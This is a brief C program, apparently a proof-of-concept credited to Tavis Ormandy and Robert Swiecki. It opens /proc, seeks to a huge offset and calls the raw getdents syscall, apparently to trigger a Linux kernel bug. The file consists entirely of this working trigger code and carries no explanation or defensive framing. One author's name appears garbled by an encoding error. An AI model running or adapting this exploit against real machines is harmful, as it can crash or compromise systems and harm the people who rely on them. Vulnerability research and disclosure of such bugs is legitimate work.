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// Found by Tavis Ormandy <taviso@cmpxchg8b.com>
// Implementation by Robert ?wi?cki <robert@swiecki.net>
#define _GNU_SOURCE 1
#define _LARGEFILE64_SOURCE
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/syscall.h>
int main(void)
{
int fd = open("/proc", O_DIRECTORY | O_RDONLY);
if (fd == -1) {
perror("[-] Could not open /proc");
return -1;
}
struct linux_dirent {
long d_ino;
off_t d_off;
unsigned short d_reclen;
char d_name[];
};
lseek64(fd, 4000000000ULL, SEEK_SET);
struct linux_dirent b[100];
syscall(__NR_getdents, fd, b, sizeof(b));
}
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